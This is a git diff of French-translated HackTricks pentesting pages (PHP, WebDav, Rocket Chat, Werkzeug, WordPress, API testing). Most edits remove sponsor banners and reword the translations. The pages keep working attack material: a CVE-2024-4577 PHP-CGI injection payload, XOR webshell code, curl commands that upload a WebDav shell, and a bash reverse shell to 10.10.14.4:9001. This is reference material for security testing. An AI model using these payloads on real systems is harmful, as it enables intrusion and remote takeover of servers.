chemin **accède au cookie de l'autre chemin** en définissant la valeur de l'autre cookie de chemin.\ -De cette façon, si **les deux chemins accèdent à une variable avec le même nom**, vous pouvez faire en sorte que **la valeur de cette variable dans path1 s'applique à path2**. Et ensuite, path2 considérera comme valides les variables de path1 (en donnant au cookie le nom qui lui correspond dans path2). +- **register_globals**: Dans **PHP < 4.1.1.1** ou si mal configuré, **register_globals** peut être actif (ou leur comportement est imité). Cela implique que dans des variables globales comme $\_GET si elles ont une valeur par exemple $\_GET\["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser des variables\*\* qui sont utilisées dans le code. +- Les **cookies PHPSESSION du même domaine sont stockés au même endroit**, donc si dans un domaine **différents cookies sont utilisés dans différents chemins** vous pouvez faire en sorte qu'un chemin **accède au cookie de l'autre chemin** en définissant la valeur de l'autre cookie de chemin.\ +De cette façon, si **les deux chemins accèdent à une variable avec le même nom** vous pouvez faire en sorte que **la valeur de cette variable dans path1 s'applique à path2**. Et ensuite path2 considérera comme valides les variables de path1 (en donnant au cookie le nom qui lui correspond dans path2). - Lorsque vous avez les **noms d'utilisateur** des utilisateurs de la machine. Vérifiez l'adresse : **/\~\** pour voir si les répertoires php sont activés. -- [**LFI et RCE utilisant des wrappers php**](../../../pentesting-web/file-inclusion/) +- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/) ### password_hash/password_verify @@ -273,7 +266,7 @@ Pour découvrir le nombre de parenthèses que vous devez fermer : Si vous pouvez **télécharger** un **.htaccess**, alors vous pouvez **configurer** plusieurs choses et même exécuter du code (en configurant que les fichiers avec l'extension .htaccess peuvent être **exécutés**). -Différentes shells .htaccess peuvent être trouvées [ici](https://github.com/wireghoul/htshells) +Différentes coques .htaccess peuvent être trouvées [ici](https://github.com/wireghoul/htshells) ### RCE via Env Variables @@ -294,7 +287,7 @@ Si vous trouvez une vulnérabilité qui vous permet de **modifier les variables ### XAMPP CGI RCE - CVE-2024-4577 -Le serveur web analyse les requêtes HTTP et les transmet à un script PHP exécutant une requête telle que [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) en tant que `php.exe cgi.php foo=bar`, ce qui permet une injection de paramètres. Cela permettrait d'injecter les paramètres suivants pour charger le code PHP depuis le corps : +Le serveur web analyse les requêtes HTTP et les transmet à un script PHP exécutant une requête telle que [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) en tant que `php.exe cgi.php foo=bar`, ce qui permet une injection de paramètres. Cela permettrait d'injecter les paramètres suivants pour charger le code PHP à partir du corps : ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` @@ -322,7 +315,7 @@ De plus, une manière intéressante d'exécuter des fonctions qui leur a permis ``` ## Analyse statique de PHP -Regardez si vous pouvez insérer du code dans les appels à ces fonctions (depuis [ici](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)): +Vérifiez si vous pouvez insérer du code dans les appels à ces fonctions (depuis [ici](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)): ```php exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents @@ -377,7 +370,7 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3 $___=$__; #Could be not needed inside eval $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` -### Code shell facile XOR +### Code shell XOR facile Selon [**ce rapport** ](https://mgp25.com/ctf/Web-challenge/), il est possible de générer un code shell facile de cette manière : ```php @@ -386,7 +379,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -Donc, si vous pouvez **exécuter du PHP arbitraire sans chiffres ni lettres**, vous pouvez envoyer une requête comme suit en abusant de cette charge utile pour exécuter du PHP arbitraire : +Donc, si vous pouvez **exécuter du PHP arbitraire sans chiffres ni lettres**, vous pouvez envoyer une requête comme celle-ci en abusant de cette charge utile pour exécuter du PHP arbitraire : ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded @@ -453,12 +446,4 @@ $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]); ``` -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 4464a61ac..e081e4140 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -1,18 +1,10 @@ # WebDav -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez un accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %} - {{#include ../../banners/hacktricks-training.md}} -Lorsqu'il s'agit d'un **serveur HTTP avec WebDav** activé, il est possible de **manipuler des fichiers** si vous avez les **bonnes informations d'identification**, généralement vérifiées par **HTTP Basic Authentication**. Prendre le contrôle d'un tel serveur implique souvent le **téléchargement et l'exécution d'un webshell**. +Lorsqu'il s'agit d'un **serveur HTTP avec WebDav** activé, il est possible de **manipuler des fichiers** si vous avez les bonnes **informations d'identification**, généralement vérifiées par **HTTP Basic Authentication**. Prendre le contrôle d'un tel serveur implique souvent le **téléchargement et l'exécution d'un webshell**. -L'accès au serveur WebDav nécessite généralement des **informations d'identification valides**, le [**bruteforce WebDav**](../../generic-hacking/brute-force.md#http-basic-auth) étant une méthode courante pour les acquérir. +L'accès au serveur WebDav nécessite généralement des **informations d'identification valides**, avec [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) étant une méthode courante pour les acquérir. Pour contourner les restrictions sur les téléchargements de fichiers, en particulier celles empêchant l'exécution de scripts côté serveur, vous pourriez : @@ -42,22 +34,14 @@ cadaver curl -T 'shell.txt' 'http://$ip' ``` ## Demande MOVE -``` +```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %} - -## Vulnérabilité WebDav IIS5/6 +## IIS5/6 WebDav Vulnerability Cette vulnérabilité est très intéressante. Le **WebDav** ne **permet pas** de **télécharger** ou de **renommer** des fichiers avec l'extension **.asp**. Mais vous pouvez **contourner** cela en **ajoutant** à la fin du nom **";.txt"** et le fichier sera **exécuté** comme s'il s'agissait d'un fichier .asp (vous pourriez également **utiliser ".html" au lieu de ".txt"** mais **N'OUBLIEZ PAS le ";"**). -Ensuite, vous pouvez **télécharger** votre shell en tant que fichier ".**txt" et **le copier/déplacer dans un fichier ".asp;.txt"**. En accédant à ce fichier via le serveur web, il sera **exécuté** (cadaver dira que l'action de déplacement n'a pas fonctionné, mais c'est le cas). +Ensuite, vous pouvez **télécharger** votre shell en tant que fichier ".**txt"** et **le copier/le déplacer vers un fichier ".asp;.txt"**. En accédant à ce fichier via le serveur web, il sera **exécuté** (cadaver dira que l'action de déplacement n'a pas fonctionné, mais c'est le cas). ![](<../../images/image (1092).png>) @@ -96,11 +80,3 @@ wget --user --ask-password http://domain/path/to/webdav/ -O - -q - [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/) {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) pour créer et **automatiser des workflows** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %} diff --git a/src/network-services-pentesting/pentesting-web/rocket-chat.md b/src/network-services-pentesting/pentesting-web/rocket-chat.md index b2e0b91bf..eb09ecc18 100644 --- a/src/network-services-pentesting/pentesting-web/rocket-chat.md +++ b/src/network-services-pentesting/pentesting-web/rocket-chat.md @@ -2,10 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## RCE Si vous êtes administrateur dans Rocket Chat, vous pouvez obtenir RCE. @@ -36,8 +32,5 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'") - Appelez-le avec curl et vous devriez recevoir le rev shell -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index cbe7eb935..64505bfc3 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -1,8 +1,5 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} # Énumération ```bash @@ -15,9 +12,3 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump msf> auxiliary/scanner/vmware/vmware_http_login ``` Si vous trouvez des identifiants valides, vous pouvez utiliser d'autres modules de scanner Metasploit pour obtenir des informations. - -
- -{% embed url="https://websec.nl/" %} - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 63d6b42e1..f5e70619b 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -2,28 +2,21 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=web-api-pentesting) pour créer et **automatiser des workflows** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez l'accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %} - ## Résumé de la méthodologie de pentesting API Le pentesting des API implique une approche structurée pour découvrir des vulnérabilités. Ce guide encapsule une méthodologie complète, mettant l'accent sur des techniques et des outils pratiques. ### **Comprendre les types d'API** -- **SOAP/XML Web Services** : Utilisez le format WSDL pour la documentation, généralement trouvé aux chemins `?wsdl`. Des outils comme **SOAPUI** et **WSDLer** (extension Burp Suite) sont essentiels pour analyser et générer des requêtes. Une documentation d'exemple est accessible sur [DNE Online](http://www.dneonline.com/calculator.asmx). +- **SOAP/XML Web Services** : Utilisent le format WSDL pour la documentation, généralement trouvé aux chemins `?wsdl`. Des outils comme **SOAPUI** et **WSDLer** (extension Burp Suite) sont essentiels pour analyser et générer des requêtes. La documentation d'exemple est accessible sur [DNE Online](http://www.dneonline.com/calculator.asmx). - **REST APIs (JSON)** : La documentation se présente souvent sous forme de fichiers WADL, mais des outils comme [Swagger UI](https://swagger.io/tools/swagger-ui/) offrent une interface plus conviviale pour l'interaction. **Postman** est un outil précieux pour créer et gérer des requêtes d'exemple. - **GraphQL** : Un langage de requête pour les API offrant une description complète et compréhensible des données dans votre API. -### **Laboratoires de pratique** +### **Laboratoires pratiques** - [**VAmPI**](https://github.com/erev0s/VAmPI) : Une API délibérément vulnérable pour une pratique concrète, couvrant les 10 principales vulnérabilités API de l'OWASP. -### **Trucs efficaces pour le pentesting API** +### **Astuces efficaces pour le pentesting API** - **Vulnérabilités SOAP/XML** : Explorez les vulnérabilités XXE, bien que les déclarations DTD soient souvent restreintes. Les balises CDATA peuvent permettre l'insertion de charges utiles si le XML reste valide. - **Escalade de privilèges** : Testez les points de terminaison avec différents niveaux de privilèges pour identifier les possibilités d'accès non autorisé. @@ -59,11 +52,4 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) -
- -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=web-api-pentesting) pour construire et **automatiser des flux de travail** facilement, alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index 3526fa48f..bfa9f2dac 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -2,13 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Console RCE @@ -18,7 +11,7 @@ __import__('os').popen('whoami').read(); ``` ![](<../../images/image (117).png>) -Il existe également plusieurs exploits sur Internet comme [celui-ci](https://github.com/its-arun/Werkzeug-Debug-RCE) ou un dans Metasploit. +Il existe également plusieurs exploits sur Internet comme [celui-ci](https://github.com/its-arun/Werkzeug-Debug-RCE) ou un dans metasploit. ## Protégé par un PIN - Traversée de chemin @@ -32,7 +25,7 @@ The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -Un message concernant le scénario "console verrouillée" est rencontré lors de la tentative d'accès à l'interface de débogage de Werkzeug, indiquant qu'un PIN est requis pour déverrouiller la console. La suggestion est faite d'exploiter le PIN de la console en analysant l'algorithme de génération de PIN dans le fichier d'initialisation de débogage de Werkzeug (`__init__.py`). Le mécanisme de génération de PIN peut être étudié à partir du [**dépôt de code source de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), bien qu'il soit conseillé de se procurer le code serveur réel via une vulnérabilité de traversée de fichier en raison de potentielles divergences de version. +Un message concernant le scénario "console verrouillée" est rencontré lors de la tentative d'accès à l'interface de débogage de Werkzeug, indiquant qu'un PIN est requis pour déverrouiller la console. La suggestion est faite d'exploiter le PIN de la console en analysant l'algorithme de génération de PIN dans le fichier d'initialisation de débogage de Werkzeug (`__init__.py`). Le mécanisme de génération de PIN peut être étudié à partir du [**dépôt de code source de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), bien qu'il soit conseillé de se procurer le code serveur réel via une vulnérabilité de traversée de fichiers en raison de potentielles divergences de version. Pour exploiter le PIN de la console, deux ensembles de variables, `probably_public_bits` et `private_bits`, sont nécessaires : @@ -170,12 +163,5 @@ C'est parce qu'il est possible d'envoyer certains caractères **Unicode** dans W - [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833) - [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python) -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 50cea941e..6d13167b9 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -2,20 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} - ## Informations de base - Les fichiers **téléchargés** vont à : `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- Les fichiers **de thèmes peuvent être trouvés dans /wp-content/themes/,** donc si vous modifiez un php du thème pour obtenir RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant **le thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- Les fichiers **de thèmes peuvent être trouvés dans /wp-content/themes/,** donc si vous modifiez un php du thème pour obtenir RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le **thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Une autre URL utile pourrait être :** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- Une autre URL utile pourrait être : [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - Dans **wp-config.php**, vous pouvez trouver le mot de passe root de la base de données. - Chemins de connexion par défaut à vérifier : _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ @@ -30,15 +22,15 @@ Accédez dès aujourd'hui : - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` est un fichier qui représente une fonctionnalité de WordPress permettant de transmettre des données avec HTTP agissant comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par l'[API REST de WordPress](https://developer.wordpress.org/rest-api/reference). -- Le dossier `wp-content` est le répertoire principal où les plugins et les thèmes sont stockés. +- `xmlrpc.php` est un fichier qui représente une fonctionnalité de WordPress qui permet de transmettre des données avec HTTP agissant comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par l'[API REST de WordPress](https://developer.wordpress.org/rest-api/reference). +- Le dossier `wp-content` est le répertoire principal où les plugins et thèmes sont stockés. - `wp-content/uploads/` est le répertoire où tous les fichiers téléchargés sur la plateforme sont stockés. - `wp-includes/` est le répertoire où les fichiers principaux sont stockés, tels que les certificats, les polices, les fichiers JavaScript et les widgets. -- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier XML de plan du site avec tous les articles publics et les types d'articles et taxonomies interrogeables publiquement. +- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier XML de plan de site avec tous les articles publics et les types d'articles et taxonomies interrogeables publiquement. **Post exploitation** -- Le fichier `wp-config.php` contient des informations requises par WordPress pour se connecter à la base de données, telles que le nom de la base de données, l'hôte de la base de données, le nom d'utilisateur et le mot de passe, les clés d'authentification et les sels, ainsi que le préfixe des tables de la base de données. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage. +- Le fichier `wp-config.php` contient des informations requises par WordPress pour se connecter à la base de données, telles que le nom de la base de données, l'hôte de la base de données, le nom d'utilisateur et le mot de passe, les clés d'authentification et les sels, et le préfixe de table de la base de données. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage. ### Permissions des utilisateurs @@ -46,7 +38,7 @@ Accédez dès aujourd'hui : - **Éditeur** : Publie et gère ses propres articles et ceux des autres - **Auteur** : Publie et gère ses propres articles - **Contributeur** : Écrit et gère ses articles mais ne peut pas les publier -- **Abonné** : Parcourt les articles et modifie son profil +- **Abonné** : Parcourt les articles et édite son profil ## **Énumération passive** @@ -85,19 +77,11 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} - ## Énumération active ### Plugins et Thèmes -Vous ne pourrez probablement pas trouver tous les Plugins et Thèmes possibles. Pour les découvrir tous, vous devrez **Brute Forcer activement une liste de Plugins et Thèmes** (heureusement pour nous, il existe des outils automatisés qui contiennent ces listes). +Vous ne pourrez probablement pas trouver tous les Plugins et Thèmes possibles. Pour les découvrir tous, vous devrez **Brute Forcer activement une liste de Plugins et Thèmes** (espérons pour nous qu'il existe des outils automatisés qui contiennent ces listes). ### Utilisateurs @@ -123,7 +107,7 @@ Notez également que **/wp-json/wp/v2/pages** pourrait leak des adresses IP. ### XML-RPC -Si `xml-rpc.php` est actif, vous pouvez effectuer une attaque par force brute sur les identifiants ou l'utiliser pour lancer des attaques DoS sur d'autres ressources. (Vous pouvez automatiser ce processus[ en utilisant cela](https://github.com/relarizky/wpxploit) par exemple). +Si `xml-rpc.php` est actif, vous pouvez effectuer une attaque par force brute sur les identifiants ou l'utiliser pour lancer des attaques DoS sur d'autres ressources. (Vous pouvez automatiser ce processus[ en utilisant ceci](https://github.com/relarizky/wpxploit) par exemple). Pour voir s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cette requête : @@ -148,9 +132,9 @@ Pour voir s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cet ``` -Le message _"Nom d'utilisateur ou mot de passe incorrect"_ dans une réponse de code 200 devrait apparaître si les identifiants ne sont pas valides. +Le message _"Nom d'utilisateur ou mot de passe incorrect"_ dans une réponse de code 200 doit apparaître si les identifiants ne sont pas valides. -![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) +![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) @@ -313,7 +297,7 @@ Cette méthode implique l'installation d'un plugin malveillant connu pour être 1. **Acquisition du plugin** : Le plugin est obtenu à partir d'une source comme Exploit DB comme [**ici**](https://www.exploit-db.com/exploits/36374). 2. **Installation du plugin** : -- Accédez au tableau de bord WordPress, puis allez à `Tableau de bord > Plugins > Télécharger le plugin`. +- Accédez au tableau de bord WordPress, puis allez à `Tableau de bord > Plugins > Télécharger un plugin`. - Téléchargez le fichier zip du plugin téléchargé. 3. **Activation du plugin** : Une fois le plugin installé avec succès, il doit être activé via le tableau de bord. 4. **Exploitation** : @@ -327,8 +311,8 @@ Le contenu comprend des aides visuelles décrivant les étapes dans le tableau d ## De XSS à RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike) : _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** à **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez [**ce post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :** -- _**Escalade de privilèges :**_ Crée un utilisateur dans WordPress. +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike) : _**WPXStrike**_ est un script conçu pour élever une vulnérabilité **Cross-Site Scripting (XSS)** à **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez [**ce post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :** +- _**Élévation de privilèges :**_ Crée un utilisateur dans WordPress. - _**(RCE) Téléchargement de plugin personnalisé (backdoor) :**_ Téléchargez votre plugin personnalisé (backdoor) sur WordPress. - _**(RCE) Édition de plugin intégré :**_ Éditez des plugins intégrés dans WordPress. - _**(RCE) Édition de thème intégré :**_ Éditez des thèmes intégrés dans WordPress. @@ -394,7 +378,7 @@ define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Aussi, **installez uniquement des plugins et thèmes WordPress fiables**. +Aussi, **n'installez que des plugins et thèmes WordPress fiables**. ### Plugins de sécurité @@ -410,12 +394,4 @@ Aussi, **installez uniquement des plugins et thèmes WordPress fiables**. - **Limitez les tentatives de connexion** pour prévenir les attaques par force brute - Renommez le fichier **`wp-admin.php`** et n'autorisez l'accès qu'en interne ou depuis certaines adresses IP. -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) pour construire et **automatiser facilement des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Obtenez l'accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/abusing-hop-by-hop-headers.md b/src/pentesting-web/abusing-hop-by-hop-headers.md index a572df6d1..0708e9f79 100644 --- a/src/pentesting-web/abusing-hop-by-hop-headers.md +++ b/src/pentesting-web/abusing-hop-by-hop-headers.md @@ -2,12 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} - --- **Ceci est un résumé du post** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) @@ -45,10 +39,4 @@ Si un serveur de cache met incorrectement en cache du contenu basé sur des en-t 2. Le serveur de cache mal configuré ne supprime pas l'en-tête hop-by-hop et met en cache la réponse spécifique à la session de l'attaquant. 3. Les futurs utilisateurs demandant la même ressource reçoivent la réponse mise en cache, qui était adaptée pour l'attaquant, ce qui pourrait entraîner un détournement de session ou une exposition d'informations sensibles. -
- -[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 040e8ad80..95939b13c 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -2,19 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -
